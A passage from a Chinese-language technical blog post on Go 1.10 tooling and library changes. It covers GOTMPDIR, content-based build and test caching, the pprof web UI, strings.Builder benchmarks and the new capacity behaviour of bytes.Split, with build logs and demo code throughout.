$WORK/b001/importcfg.link -s -w -buildmode=exe -buildid=fcYMWp_1J2Xqgzc_Vdga/UpnEUti07R2GzG8dUU3x/MLkSlJVesZhf2kQUaDUU/fcYMWp_1J2Xqgzc_Vdga -extld=gcc /root/.cache/go-build/9f/9f34be2dbcc3f8a62dd6efd6d35be18ecdcbc49e3c8b52b003ecd72b6264e19e-d $WORK/b001/exe/hello 我个人就遇到过由于IaaS供应商提供的系统盘（不允许定制和修改）过小，导致系统盘空间满，使得Go应用构建和执行失败的问题。我们来设置一下GOTMPDIR，看看效果。我们将GOTMPDIR设置为~/.gotmp，生效后，重新build上面的那个helloworld代码：\n# go build -x hello.go WORK=/root/.gotmp/go-build452283009 mkdir -p $WORK/b001/ cat \u0026gt;$WORK/b001/importcfg \u0026lt;\u0026lt; 'EOF' # internal ... ... mkdir -p $WORK/b001/exe/ cd . /root/.bin/go1.10rc2/pkg/tool/linux_amd64/link -o $WORK/b001/exe/a.out -importcfg $WORK/b001/importcfg.link -buildmode=exe -buildid=kO-wBNzMZmfHCKzMDziw/jCGBCt7bcrS5NEN-cR4H/8-du6iTQz8uPH3UC-FtB/kO-wBNzMZmfHCKzMDziw -extld=gcc $WORK/b001/_pkg_.a /root/.bin/go1.10rc2/pkg/tool/linux_amd64/buildid -w $WORK/b001/exe/a.out # internal mv $WORK/b001/exe/a.out hello rm -r $WORK/b001/ 可以看到，go tool转移到我们设置的GOTMPDIR下构建和执行了。\n3、通过cache实现增量构建，提高go tools性能 Go语言具有较高的编译性能是Go语言最初设计时就确定下来的目标，Go编译器的性能在Go 1.4.3版本达到顶峰，这虽然是得益于其使用C语言实现，但更重要的是其为高性能构建而定义的便于依赖分析的语言构建模型，同时避免了像C/C++那样的重复多次扫描大量头文件的负担。随着Go自举的实现，使用Go语言实现的go compiler性能有较大下降，但即便这样，其编译速度在主流编程语言中仍然是数一数二的。在经过了Go 1.6到Go1.9等多个版本对compiler的优化后，go compiler的编译速度已经恢复到Go 1.4.3 compiler的2/3左右或是更为接近的水平。在Go 1.9版本引入并行编译后，Go team在提升工具性能方面的思路发生了些许变化：不再是一味地进行代码级的性能优化，而是选择通过Cache，重复利用中间结果，实现增量构建，来减少编译构建所用的时间。因此，笔者觉得这个功能是本次Go 1.10最大的变化之一。\n1) 概述 Go 1.10版本以前，我们经常通过go build -i来加快Go项目源码的编译速度，其原因在于go build -i首次执行时会将目标所依赖的package安装到$GOPATH/pkg下面(.a文件)，这样后续执行go build时，构建过程将不会重新编译目标文件的依赖包，而是直接链接首次执行build -i时安装的依赖包，以实现加速编译！以gocmpp/examples/client为例，第二次构建所需时间仅为首次构建的四分之一左右：\n➜ $GOPATH/src/github.com/bigwhite/gocmpp/examples/client git:(master) ✗ $time go build -i client.go go build -i client.go 1.34s user 0.34s system 131% cpu 1.274 total ➜ $GOPATH/src/github.com/bigwhite/gocmpp/examples/client git:(master) ✗ $time go build -i client.go go build -i client.go 0.38s user 0.16s system 116% cpu 0.465 total 只有当目标文件的依赖包的源文件发生变化时（比对源文件的修改时间与.a文件的修改时间作为是否重新编译的判断依据），才会重新编译安装这些依赖包。这有些像Makefile的原理：make工具会比较targets文件和prerequisites文件的修改日期，如果prerequisites文件的日期要比targets文件的日期要新，或者target不存在的话，那么，make就会执行后续定义的命令。\n不过即便这样，依然至少有两个问题困扰着Go team和广大Gopher：\n基于时间戳的比对，并不“合理”\n当某个目标文件的依赖包的源文件内容并未真正发生变化，但“修改时间”发生变化了，比如：添加了一行，保存了；然后又删除了这一行，保存。在这样的情况下，理想的操作是不需要重新编译安装这个依赖包，但目前的go build -i机制会重新编译并安装这个依赖包。\n增量构建并未实现“常态化”\n以前版本中，默认的不带命令行参数的go build命令是不会安装依赖包的，因此每次执行go build，都会重新编译一次依赖包的源码，并将结果放入临时目录以供最终链接使用。也就是说最为常用的go build并未实现增量编译，社区需要常态化的“增量编译”，进一步提高效率。\nGo 1.10引入cache机制来解决上述问题。从1.10版本开始，go build tool将维护一个package编译结果的缓存以及一些元数据，缓存默认位于操作系统指定的用户缓存目录中，其中数据用于后续构建重用；不仅go build支持“常态化”的增量构建，go test也支持在特定条件下缓存test结果，从而加快执行测试的速度。\nb) go build with cache 我们先来直观的看看go 1.10 build带来的效果，初始情况cache为空：\n以我的一个小项目gocmpp为例，用go 1.10第一次build该项目：\n➜ $GOPATH/src/github.com/bigwhite/gocmpp git:(master) ✗ $time go build go build 1.22s user 0.43s system 175% cpu 0.939 total 我们再来构建一次：\n➜ $GOPATH/src/github.com/bigwhite/gocmpp git:(master) ✗ $time go build go build 0.12s user 0.16s system 155% cpu 0.182 total 0.12s vs. 1.22s！通过cache进行的build将构建时间压缩为原来的1/10！为了弄清楚go build幕后行为，我们清除一下cache(go clean -cache)，再重新build，这次我们通过-v -x 输出详细构建过程：\n首次编译的详细输出信息：\n➜ $GOPATH/src/github.com/bigwhite/gocmpp git:(master) ✗ $go build -x -v WORK=/var/folders/2h/xr2tmnxx6qxc4w4w13m01fsh0000gn/T/go-build735203690 github.com/bigwhite/gocmpp/vendor/golang.org/x/text/encoding/internal/identifier mkdir -p $WORK/b033/ cat \u0026gt;$WORK/b033/importcfg \u0026lt;\u0026lt; 'EOF' # internal # import config EOF cd $(GOPATH)/src/github.com/bigwhite/gocmpp/vendor/golang.org/x/text/encoding/internal/identifier /Users/tony/.bin/go1.10rc2/pkg/tool/darwin_amd64/compile -o $WORK/b033/_pkg_.a -trimpath $WORK/b033 -p github.com/bigwhite/gocmpp/vendor/golang.org/x/text/encoding/internal/identifier -complete -buildid iZWJNg2FYmWoSCXb640o/iZWJNg2FYmWoSCXb640o -goversion go1.10rc2 -D \u0026quot;\u0026quot; -importcfg $WORK/b033/importcfg -pack -c=4 ./identifier.go ./mib.go /Users/tony/.bin/go1.10rc2/pkg/tool/darwin_amd64/buildid -w $WORK/b033/_pkg_.a # internal cp $WORK/b033/_pkg_.a /Users/tony/Library/Caches/go-build/14/14223040d851359359b0e531555a47e22f5dbd4bf434acc136a7c70c1fc3663f-d # internal github.com/bigwhite/gocmpp/vendor/golang.org/x/text/transform mkdir -p $WORK/b031/ cat \u0026gt;$WORK/b031/importcfg \u0026lt;\u0026lt; 'EOF' # internal # import config packagefile bytes=/Users/tony/.bin/go1.10rc2/pkg/darwin_amd64/bytes.a packagefile errors=/Users/tony/.bin/go1.10rc2/pkg/darwin_amd64/errors.a packagefile io=/Users/tony/.bin/go1.10rc2/pkg/darwin_amd64/io.a packagefile unicode/utf8=/Users/tony/.bin/go1.10rc2/pkg/darwin_amd64/unicode/utf8.a EOF .... .... cd $(GOPATH)/src/github.com/bigwhite/gocmpp /Users/tony/.bin/go1.10rc2/pkg/tool/darwin_amd64/compile -o $WORK/b001/_pkg_.a -trimpath $WORK/b001 -p github.com/bigwhite/gocmpp -complete -buildid 6LaoHtjkFhandbEhv7zD/6LaoHtjkFhandbEhv7zD -goversion go1.10rc2 -D \u0026quot;\u0026quot; -importcfg $WORK/b001/importcfg -pack -c=4 ./activetest.go ./client.go ./conn.go ./connect.go ./deliver.go ./fwd.go ./packet.go ./receipt.go ./server.go ./submit.go ./terminate.go /Users/tony/.bin/go1.10rc2/pkg/tool/darwin_amd64/buildid -w $WORK/b001/_pkg_.a # internal cp $WORK/b001/_pkg_.a /Users/tony/Library/Caches/go-build/e0/e02a5fec0835ca540b62053fdea82589e686e88bf48f18355ed38d41ad19f334-d # internal 再次编译的详细输出信息：\n$go build -x -v WORK=/var/folders/2h/xr2tmnxx6qxc4w4w13m01fsh0000gn/T/go-build906548554 我们来分析一下。首次构建时，我们看到gocmpp依赖的每个包以及自身的包都会被编译，并被copy到/Users/tony/Library/Caches/go-build/下面的某个目录下，包括最终的gocmpp包也是这样。第二次build时，我们看到仅仅输出一行信息，这是因为go compiler在cache中找到了gocmpp包对应的编译好的缓存结果，无需进行实际的编译了。\n前面说过，go 1.10 compiler决定是否重新编译包是content based的，而不是依照时间戳比对来决策。我们来修改一个gocmpp包中的文件fwd.go，删除一个空行，再恢复这个空行，保存退出。我们再来编译一下gocmpp:\n➜ $GOPATH/src/github.com/bigwhite/gocmpp git:(master) ✗ $go build -x -v WORK=/var/folders/2h/xr2tmnxx6qxc4w4w13m01fsh0000gn/T/go-build857409409 可以看到go compiler并没有重新编译任何包。如果我们真实改变了fwd.go的内容，比如删除一个空行，保存后再次编译：\n➜ $GOPATH/src/github.com/bigwhite/gocmpp git:(master) ✗ $go build -x -v WORK=/var/folders/2h/xr2tmnxx6qxc4w4w13m01fsh0000gn/T/go-build437927548 github.com/bigwhite/gocmpp mkdir -p $WORK/b001/ cat \u0026gt;$WORK/b001/importcfg \u0026lt;\u0026lt; 'EOF' # internal # import config packagefile bytes=/Users/tony/.bin/go1.10rc2/pkg/darwin_amd64/bytes.a packagefile crypto/md5=/Users/tony/.bin/go1.10rc2/pkg/darwin_amd64/crypto/md5.a packagefile encoding/binary=/Users/tony/.bin/go1.10rc2/pkg/darwin_amd64/encoding/binary.a packagefile errors=/Users/tony/.bin/go1.10rc2/pkg/darwin_amd64/errors.a packagefile fmt=/Users/tony/.bin/go1.10rc2/pkg/darwin_amd64/fmt.a packagefile github.com/bigwhite/gocmpp/utils=/Users/tony/Test/GoToolsProjects/pkg/darwin_amd64/github.com/bigwhite/gocmpp/utils.a packagefile io=/Users/tony/.bin/go1.10rc2/pkg/darwin_amd64/io.a packagefile log=/Users/tony/.bin/go1.10rc2/pkg/darwin_amd64/log.a packagefile net=/Users/tony/.bin/go1.10rc2/pkg/darwin_amd64/net.a packagefile os=/Users/tony/.bin/go1.10rc2/pkg/darwin_amd64/os.a packagefile strconv=/Users/tony/.bin/go1.10rc2/pkg/darwin_amd64/strconv.a packagefile strings=/Users/tony/.bin/go1.10rc2/pkg/darwin_amd64/strings.a packagefile sync=/Users/tony/.bin/go1.10rc2/pkg/darwin_amd64/sync.a packagefile sync/atomic=/Users/tony/.bin/go1.10rc2/pkg/darwin_amd64/sync/atomic.a packagefile time=/Users/tony/.bin/go1.10rc2/pkg/darwin_amd64/time.a EOF cd /Users/tony/Test/GoToolsProjects/src/github.com/bigwhite/gocmpp /Users/tony/.bin/go1.10rc2/pkg/tool/darwin_amd64/compile -o $WORK/b001/_pkg_.a -trimpath $WORK/b001 -p github.com/bigwhite/gocmpp -complete -buildid trn5lvvRTk_UP3LcT5CC/trn5lvvRTk_UP3LcT5CC -goversion go1.10rc2 -D \u0026quot;\u0026quot; -importcfg $WORK/b001/importcfg -pack -c=4 ./activetest.go ./client.go ./conn.go ./connect.go ./deliver.go ./fwd.go ./packet.go ./receipt.go ./server.go ./submit.go ./terminate.go /Users/tony/.bin/go1.10rc2/pkg/tool/darwin_amd64/buildid -w $WORK/b001/_pkg_.a # internal cp $WORK/b001/_pkg_.a /Users/tony/Library/Caches/go-build/7a/7a5671578ed30b125257fd16d0f0b8ceaefd0acc3e44f082ffeecea9f1895499-d # internal Go compiler发现了内容的变动，对gocmpp包的变动内容进行了重新compile。\nc) 缓存目录探索 在增加cache机制时，go tools增加了GOCACHE变量，通过go env GOCACHE查看变量值：\n$go env GOCACHE /Users/tony/Library/Caches/go-build 如果未重设环境变量GOCACHE，那么默认在Linux上，GOCACHE=”~/.cache/go-build”; 在Mac OS X上，GOCACHE=”/Users/UserName/Library/Caches/go-build”。在 OS X上，我们进入$GOCACHE目录，映入眼帘的是：\n➜ /Users/tony/Library/Caches/go-build $ls 00/ 18/ 30/ 48/ 60/ 78/ 90/ a7/ bf/ d7/ ef/ 01/ 19/ 31/ 49/ 61/ 79/ 91/ a8/ c0/ d8/ f0/ 02/ 1a/ 32/ 4a/ 62/ 7a/ 92/ a9/ c1/ d9/ f1/ 03/ 1b/ 33/ 4b/ 63/ 7b/ 93/ aa/ c2/ da/ f2/ 04/ 1c/ 34/ 4c/ 64/ 7c/ 94/ ab/ c3/ db/ f3/ 05/ 1d/ 35/ 4d/ 65/ 7d/ 95/ ac/ c4/ dc/ f4/ 06/ 1e/ 36/ 4e/ 66/ 7e/ 96/ ad/ c5/ dd/ f5/ 07/ 1f/ 37/ 4f/ 67/ 7f/ 97/ ae/ c6/ de/ f6/ 08/ 20/ 38/ 50/ 68/ 80/ 98/ af/ c7/ df/ f7/ 09/ 21/ 39/ 51/ 69/ 81/ 99/ b0/ c8/ e0/ f8/ 0a/ 22/ 3a/ 52/ 6a/ 82/ 9a/ b1/ c9/ e1/ f9/ 0b/ 23/ 3b/ 53/ 6b/ 83/ 9b/ b2/ ca/ e2/ fa/ 0c/ 24/ 3c/ 54/ 6c/ 84/ 9c/ b3/ cb/ e3/ fb/ 0d/ 25/ 3d/ 55/ 6d/ 85/ 9d/ b4/ cc/ e4/ fc/ 0e/ 26/ 3e/ 56/ 6e/ 86/ 9e/ b5/ cd/ e5/ fd/ 0f/ 27/ 3f/ 57/ 6f/ 87/ 9f/ b6/ ce/ e6/ fe/ 10/ 28/ 40/ 58/ 70/ 88/ README b7/ cf/ e7/ ff/ 11/ 29/ 41/ 59/ 71/ 89/ a0/ b8/ d0/ e8/ log.txt 12/ 2a/ 42/ 5a/ 72/ 8a/ a1/ b9/ d1/ e9/ trim.txt 13/ 2b/ 43/ 5b/ 73/ 8b/ a2/ ba/ d2/ ea/ 14/ 2c/ 44/ 5c/ 74/ 8c/ a3/ bb/ d3/ eb/ 15/ 2d/ 45/ 5d/ 75/ 8d/ a4/ bc/ d4/ ec/ 16/ 2e/ 46/ 5e/ 76/ 8e/ a5/ bd/ d5/ ed/ 17/ 2f/ 47/ 5f/ 77/ 8f/ a6/ be/ d6/ ee/ 熟悉git原理的朋友一定觉得这个目录组织结构似曾相识！没错，在每个git项目的./git/object目录下，我们也能看到下面的结果：\n.git/objects git:(master) $ls 00/ 0c/ 18/ 24/ 30/ 3c/ 48/ 54/ 60/ 6c/ 78/ 84/ 90/ 9c/ a8/ b4/ c0/ cc/ d8/ e4/ f0/ fc/ 01/ 0d/ 19/ 25/ 31/ 3d/ 49/ 55/ 61/ 6d/ 79/ 85/ 91/ 9d/ a9/ b5/ c1/ cd/ d9/ e5/ f1/ fd/ 02/ 0e/ 1a/ 26/ 32/ 3e/ 4a/ 56/ 62/ 6e/ 7a/ 86/ 92/ 9e/ aa/ b6/ c2/ ce/ da/ e6/ f2/ fe/ 03/ 0f/ 1b/ 27/ 33/ 3f/ 4b/ 57/ 63/ 6f/ 7b/ 87/ 93/ 9f/ ab/ b7/ c3/ cf/ db/ e7/ f3/ ff/ 04/ 10/ 1c/ 28/ 34/ 40/ 4c/ 58/ 64/ 70/ 7c/ 88/ 94/ a0/ ac/ b8/ c4/ d0/ dc/ e8/ f4/ info/ 05/ 11/ 1d/ 29/ 35/ 41/ 4d/ 59/ 65/ 71/ 7d/ 89/ 95/ a1/ ad/ b9/ c5/ d1/ dd/ e9/ f5/ pack/ 06/ 12/ 1e/ 2a/ 36/ 42/ 4e/ 5a/ 66/ 72/ 7e/ 8a/ 96/ a2/ ae/ ba/ c6/ d2/ de/ ea/ f6/ 07/ 13/ 1f/ 2b/ 37/ 43/ 4f/ 5b/ 67/ 73/ 7f/ 8b/ 97/ a3/ af/ bb/ c7/ d3/ df/ eb/ f7/ 08/ 14/ 20/ 2c/ 38/ 44/ 50/ 5c/ 68/ 74/ 80/ 8c/ 98/ a4/ b0/ bc/ c8/ d4/ e0/ ec/ f8/ 09/ 15/ 21/ 2d/ 39/ 45/ 51/ 5d/ 69/ 75/ 81/ 8d/ 99/ a5/ b1/ bd/ c9/ d5/ e1/ ed/ f9/ 0a/ 16/ 22/ 2e/ 3a/ 46/ 52/ 5e/ 6a/ 76/ 82/ 8e/ 9a/ a6/ b2/ be/ ca/ d6/ e2/ ee/ fa/ 0b/ 17/ 23/ 2f/ 3b/ 47/ 53/ 5f/ 6b/ 77/ 83/ 8f/ 9b/ a7/ b3/ bf/ cb/ d7/ e3/ ef/ fb/ 这里猜测go 1.10使用的应该是与git一类内容摘要算法以及组织存储模式。在前面的build详细输出中，我们找到这一行：\ncp $WORK/b001/_pkg_.a /Users/tony/Library/Caches/go-build/7a/7a5671578ed30b125257fd16d0f0b8ceaefd0acc3e44f082ffeecea9f1895499-d # internal 这行命令是将gocmpp包复制到cache下，我们到cache的7a目录下一查究竟：\n➜ /Users/tony/Library/Caches/go-build/7a $tree . └── 7a5671578ed30b125257fd16d0f0b8ceaefd0acc3e44f082ffeecea9f1895499-d 0 directories, 1 file 我们用nm命令查看一下该文件：\n$go tool nm 7a5671578ed30b125257fd16d0f0b8ceaefd0acc3e44f082ffeecea9f1895499-d|more 1c319 T %22%22.(*Client).Connect 2e279 T %22%22.(*Client).Connect.func1 3fc22 R %22%22.(*Client).Connect.func1·f 1c79f T %22%22.(*Client).Disconnect 1c979 T %22%22.(*Client).RecvAndUnpackPkt 1c807 T %22%22.(*Client).SendReqPkt 1c8e2 T %22%22.(*Client).SendRspPkt 1e417 T %22%22.(*Cmpp2ConnRspPkt).Pack ... ... 这个文件的确就是gocmpp.a文件。通过比对该文件size与go install后的文件size也可以证实这一点：\n➜ /Users/tony/Library/Caches/go-build/7a $ -rw-r--r-- 1 tony staff 445856 Feb 15 22:34 7a5671578ed30b125257fd16d0f0b8ceaefd0acc3e44f082ffeecea9f1895499-d vs. ➜ $GOPATH/pkg/darwin_amd64/github.com/bigwhite $ll -rw-r--r-- 1 tony staff 445856 Feb 15 23:27 gocmpp.a 也就是说go compiler将编译后的package的.a文件求取摘要值后，将.a文件存储在$GOCACHE下的某个目录中，这个目录名即为摘要值的前两位（比如”7a”），.a文件名字被换成其摘要值，以便后续查找并做比对。\ncache目录下还有一个重要文件：log.txt，这个文件是用来记录缓存管理日志的，其内容格式如下：\n//log.txt ... ... 1518705271 get 7533a063cd8c37888b19674bf4a4bb7e25fa422041082566530d58538c031516 1518705271 miss b6b9f996fbd14e4fd43f72dc4f9082946cddd0d61d6c6143c88502c8a4001666 1518705271 put b6b9f996fbd14e4fd43f72dc4f9082946cddd0d61d6c6143c88502c8a4001666 7a5671578ed30b125257fd16d0f0b8ceaefd0acc3e44f082ffeecea9f1895499 445856 1518705271 put f5a641ca081a0d2d794b0b54aa9f89014dbb6ff8d14d26543846e1676eca4c21 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 0 1518708456 get 899589360d856265a84825dbeb8d283ca84e12f154eefc12ba84870af13e1f63 1518708456 get 8a7fcd97a5f36bd00ef084856c63e4e2facedce33d19a5b557cc67f219787661 该日志文件更多的用途是帮助Russ Cox对其开发的cache进行调试和问题诊断的。当然，如果您对于cache的机制原理也很精通，那么也可以让log.txt帮你诊断涉及cache的问题。\nd) go test with cache go 1.10版的go test也会维护一个cache，这个cache缓存了go test执行的测试结果。同时在go 1.10中，go test被分为两种执行模式：local directory mode和package list mode，在不同模式下，cache机制的介入是不同的。\nlocal directory mode，即go test以整个当前目录作为隐式参数的执行模式，比如在某个目录下执行”go test”，go test后面不带任何显式的package列表参数（当然可以带着其他命令行flag参数，如-v）。在这种模式下，cache机制不会介入，go test的执行过程与go 1.10版本之前没有两样。还是以gocmpp这个项目为例，我们以local directory mode执行go test：\n➜ $GOPATH/src/github.com/bigwhite/gocmpp git:(master) ✗ $go test PASS ok github.com/bigwhite/gocmpp 0.011s 如果缓存机制介入，输出的test结果中会出现cached字样，显然上面的go test执行过程并没有使用test cache。\npackage list mode，即go test后面显式传入了package列表，比如：go test math、go test .、go test ./…等，在这种模式下，test cache机制会介入。我们连续两次在gocmpp目录下执行go test .：\n➜ $GOPATH/src/github.com/bigwhite/gocmpp git:(master) ✗ $go test . ok github.com/bigwhite/gocmpp 0.011s ➜ $GOPATH/src/github.com/bigwhite/gocmpp git:(master) ✗ $go test . ok github.com/bigwhite/gocmpp (cached) 如果你此时想进一步看看go test执行的详细输出，你可以会执行go test -v .：\n➜ $GOPATH/src/github.com/bigwhite/gocmpp git:(master) ✗ $go test -v . === RUN TestTypeString --- PASS: TestTypeString (0.00s) === RUN TestCommandIdString --- PASS: TestCommandIdString (0.00s) === RUN TestOpError --- PASS: TestOpError (0.00s) ... ... === RUN TestCmppTerminateRspPktPack --- PASS: TestCmppTerminateRspPktPack (0.00s) === RUN TestCmppTerminateRspUnpack --- PASS: TestCmppTerminateRspUnpack (0.00s) PASS ok github.com/bigwhite/gocmpp 0.017s 你会发现，这次go test并没有使用cache。如果你再执行一次go test -v .：\n➜ $GOPATH/src/github.com/bigwhite/gocmpp git:(master) ✗ $go test -v . === RUN TestTypeString --- PASS: TestTypeString (0.00s) === RUN TestCommandIdString --- PASS: TestCommandIdString (0.00s) === RUN TestOpError --- PASS: TestOpError (0.00s) ... ... === RUN TestCmppTerminateRspPktPack --- PASS: TestCmppTerminateRspPktPack (0.00s) === RUN TestCmppTerminateRspUnpack --- PASS: TestCmppTerminateRspUnpack (0.00s) PASS ok github.com/bigwhite/gocmpp (cached) test cache又起了作用。似乎cache对于go test .和go test -v .是独立的。没错，release note中给出的go test cache的介入条件如下：\n本次测试的执行程序以及命令行（及参数）与之前的一次test运行匹配；（这就能解释为何go test -v .没有使用go test .执行的cache了）； 上次测试执行时的文件和环境变量在本次没有发生变化； 测试结果是成功的； 以package list node运行测试； go test的命令行参数使用”-cpu, -list, -parallel, -run, -short和 -v”的一个子集时 就像前面我们看到的，cache介入的go test结果不会显示test消耗的时间，而是以(cached)字样替代。\n绝大多数Gopher都是喜欢test with cache的，但总有一些情况，cache是不受欢迎的。其实前面的条件已经明确告知gopher们什么条件下test cache是可以不介入的。一个惯用的关闭test cache的方法是使用-count=1：\n➜ $GOPATH/src/github.com/bigwhite/gocmpp git:(master) ✗ $go test -count=1 -v . === RUN TestTypeString --- PASS: TestTypeString (0.00s) === RUN TestCommandIdString --- PASS: TestCommandIdString (0.00s) === RUN TestOpError --- PASS: TestOpError (0.00s) ... ... === RUN TestCmppTerminateRspPktPack --- PASS: TestCmppTerminateRspPktPack (0.00s) === RUN TestCmppTerminateRspUnpack --- PASS: TestCmppTerminateRspUnpack (0.00s) PASS ok github.com/bigwhite/gocmpp 0.012s go 1.10中的go test与之前版本还有一个不同，那就是go test在真正执行test前会自动对被测试的包执行go vet，但这个vet只会识别那些最为明显的问题。并且一旦发现问题，go test将会视这些问题与build error同级别，阻断test的执行，并让其出现在test failure中。当然gopher可以通过go test -vet=off关闭这个前置于测试的vet检查。\n4. pprof go tool pprof做了一个较大的改变：增加了Web UI，以后可以和go trace一起通过图形化的方法对Go程序进行调优了。可视化的pprof使用起来十分简单，我们以gocmpp为例，试用一下go 1.10的pprof，首先我们生成cpu profile文件：\n➜ $GOPATH/src/github.com/bigwhite/gocmpp git:(master) ✗ $go test -run=^$ -bench=. -cpuprofile=profile.out goos: darwin goarch: amd64 pkg: github.com/bigwhite/gocmpp BenchmarkRecvAndUnpackPkt-4 1000000 1534 ns/op BenchmarkCmppConnReqPktPack-4 1000000 1398 ns/op BenchmarkCmppConnReqPktUnpack-4 3000000 450 ns/op BenchmarkCmpp2DeliverReqPktPack-4 1000000 1156 ns/op BenchmarkCmpp2DeliverReqPktUnpack-4 3000000 567 ns/op BenchmarkCmpp3DeliverReqPktPack-4 1000000 1173 ns/op BenchmarkCmpp3DeliverReqPktUnpack-4 3000000 465 ns/op BenchmarkCmpp2FwdReqPktPack-4 1000000 2079 ns/op BenchmarkCmpp2FwdReqPktUnpack-4 1000000 1276 ns/op BenchmarkCmpp3FwdReqPktPack-4 1000000 2507 ns/op BenchmarkCmpp3FwdReqPktUnpack-4 1000000 1286 ns/op BenchmarkCmpp2SubmitReqPktPack-4 1000000 1845 ns/op BenchmarkCmpp2SubmitReqPktUnpack-4 1000000 1251 ns/op BenchmarkCmpp3SubmitReqPktPack-4 1000000 1863 ns/op BenchmarkCmpp3SubmitReqPktUnpack-4 2000000 656 ns/op PASS ok github.com/bigwhite/gocmpp 26.621s 启动pprof web ui：\n$go tool pprof -http=:8080 profile.out pprof会自动打开默认浏览器，进入下面页面：\n在view菜单中，我们可以看到”top”、”graph”、”peek”、”source”和”disassemble”几个选项，这些选项可以帮助你在各种视图间切换，默认初始为graph view。不过目前view菜单中并没有”Flame Graph(火焰图)”选项，要想使用Flame Graph，我们需要使用原生的pprof工具，该工具可通过go get -u github.com/google/pprof获取，install后原生pprof将出现在$GOROOT/bin下面。\n使用原生pprof启动Web UI：\n$pprof -http=:8080 profile.out 原生pprof同样会自动打开浏览器，进入下面页面：\n原生的pprof的web ui看起来比go 1.10 tool中的pprof更为精致，且最大的不同在于VIEW菜单下出现了”Flame Graph”菜单项！我们点击该菜单项，一幅Flame Graph便呈现在眼前：\n关于如何做火焰图分析不是这里的主要任务，请各位Gopher自行脑补。更多关于Go性能调优问题，可以参考Go官方提供的诊断手册。\n四、标准库 和之前的每次Go版本发布一样，标准库的改变是多且细碎的，这里不能一一举例说明。并且很多涉“专业领域”的包，比如加解密，需要一定专业深度，因此这里仅列举几个“通用”的变化^0^。\n1、strings.Builder strings包增加一个新的类型：Builder，用于在“拼字符串”场景中替代bytes.Buffer，由于使用了一些unsafe包的黑科技，在用户调用Builder.String()返回最终拼成的字符串时，避免了一些重复的、不必要的内存copy，提升了处理性能，优化了内存分配。我们用一个demo来看看这种场景下Builder的优势：\n//go1.10-examples/stdlib/stringsbuilder/builer.go package builder import ( \u0026quot;bytes\u0026quot; \u0026quot;strings\u0026quot; ) type BuilderByBytesBuffer struct { b bytes.Buffer } func (b *BuilderByBytesBuffer) WriteString(s string) error { _, err := b.b.WriteString(s) return err } func (b *BuilderByBytesBuffer) String() string{ return b.b.String() } type BuilderByStringsBuilder struct { b strings.Builder } func (b *BuilderByStringsBuilder) WriteString(s string) error { _, err := b.b.WriteString(s) return err } func (b *BuilderByStringsBuilder) String() string{ return b.b.String() } 针对上面代码中的BuilderByBytesBuffer和BuilderByStringsBuilder进行Benchmark的Test源文件如下：\n//go1.10-examples/stdlib/stringsbuilder/builer_test.go package builder import \u0026quot;testing\u0026quot; func BenchmarkBuildStringWithBytesBuffer(b *testing.B) { var builder BuilderByBytesBuffer for i := 0; i \u0026lt; b.N; i++ { builder.WriteString(\u0026quot;Hello, \u0026quot;) builder.WriteString(\u0026quot;Go\u0026quot;) builder.WriteString(\u0026quot;-1.10\u0026quot;) _ = builder.String() } } func BenchmarkBuildStringWithStringsBuilder(b *testing.B) { var builder BuilderByStringsBuilder for i := 0; i \u0026lt; b.N; i++ { builder.WriteString(\u0026quot;Hello, \u0026quot;) builder.WriteString(\u0026quot;Go\u0026quot;) builder.WriteString(\u0026quot;-1.10\u0026quot;) _ = builder.String() } } 执行该Benchmark，查看结果：\n$go test -bench . -benchmem goos: darwin goarch: amd64 pkg: github.com/bigwhite/experiments/go1.10-examples/stdlib/stringsbuilder BenchmarkBuildStringWithBytesBuffer-4 100000 108471 ns/op 704073 B/op 1 allocs/op BenchmarkBuildStringWithStringsBuilder-4 20000000 122 ns/op 80 B/op 0 allocs/op PASS ok github.com/bigwhite/experiments/go1.10-examples/stdlib/stringsbuilder 13.616s 可以看到StringsBuilder在处理速度和分配优化上都全面强于bytes.Buffer，真实的差距就在Builder.String这个方法上。\n2、bytes包 bytes包的几个方法Fields, FieldsFunc, Split和SplitAfter在底层实现上有变化，使得外部展现的行为有所变化，我们通过一个例子直观的感受一下：\n// go1.10-examples/stdlib/bytessplit/main.go package main import ( \u0026quot;bytes\u0026quot; \u0026quot;fmt\u0026quot; ) // 来自github.com/campoy/gotalks/blob/master/go1.10/bytes/fields.go func desc(b []byte) string { return fmt.Sprintf(\u0026quot;len: %2d | cap: %2d | %q\\n\u0026quot;, len(b), cap(b), b) } func main() { text := []byte(\u0026quot;Hello, Go1.10 is coming!\u0026quot;) fmt.Printf(\u0026quot;text: %s\u0026quot;, desc(text)) subslices := bytes.Split(text, []byte(\u0026quot; \u0026quot;)) fmt.Printf(\u0026quot;subslice 0: %s\u0026quot;, desc(subslices[0])) fmt.Printf(\u0026quot;subslice 1: %s\u0026quot;, desc(subslices[1])) fmt.Printf(\u0026quot;subslice 2: %s\u0026quot;, desc(subslices[2])) fmt.Printf(\u0026quot;subslice 3: %s\u0026quot;, desc(subslices[3])) } 我们先用Go 1.9.2编译运行一下该demo:\n$go run main.go text: len: 24 | cap: 32 | \u0026quot;Hello, Go1.10 is coming!\u0026quot; subslice 0: len: 6 | cap: 32 | \u0026quot;Hello,\u0026quot; subslice 1: len: 6 | cap: 25 | \u0026quot;Go1.10\u0026quot; subslice 2: len: 2 | cap: 18 | \u0026quot;is\u0026quot; subslice 3: len: 7 | cap: 15 | \u0026quot;coming!\u0026quot; 我们再用go 1.10rc2运行一下该demo：\n$go run main.go text: len: 24 | cap: 32 | \u0026quot;Hello, Go1.10 is coming!\u0026quot; subslice 0: len: 6 | cap: 6 | \u0026quot;Hello,\u0026quot; subslice 1: len: 6 | cap: 6 | \u0026quot;Go1.10\u0026quot; subslice 2: len: 2 | cap: 2 | \u0026quot;is\u0026quot; subslice 3: len: 7 | cap: 15 | \u0026quot;coming!\u0026quot; 对比两次输出结果中cap那一列，你会发现go 1.10输出的结果中的每个subslice(除了最后一个)的len与cap值都是相等的，而不是将原slice剩下所有cap都作为subslice的cap。这个行为的改变是出于安全的考虑，防止共享一个underlying slice的各个subslice的修改对相邻的subslice造成影响，因此限制它们的capacity。\n在Fields, FieldsFunc, Split和SplitAfter这几个方法的具体实现上，Go 1.10使用了我们平时并不经常使用的”Full slice expression“，即：a[low, high, max]来指定subslice的cap。\n五、性能 对于静态编译类型语言Go来说，性能也一直是其重点关注的设计目标，这两年来发布的Go版本，几乎每个都给Gopher们带来惊喜。谈到Go性能，Gopher们一般关心的有如下这么几个方面：\n1、编译性能 Go 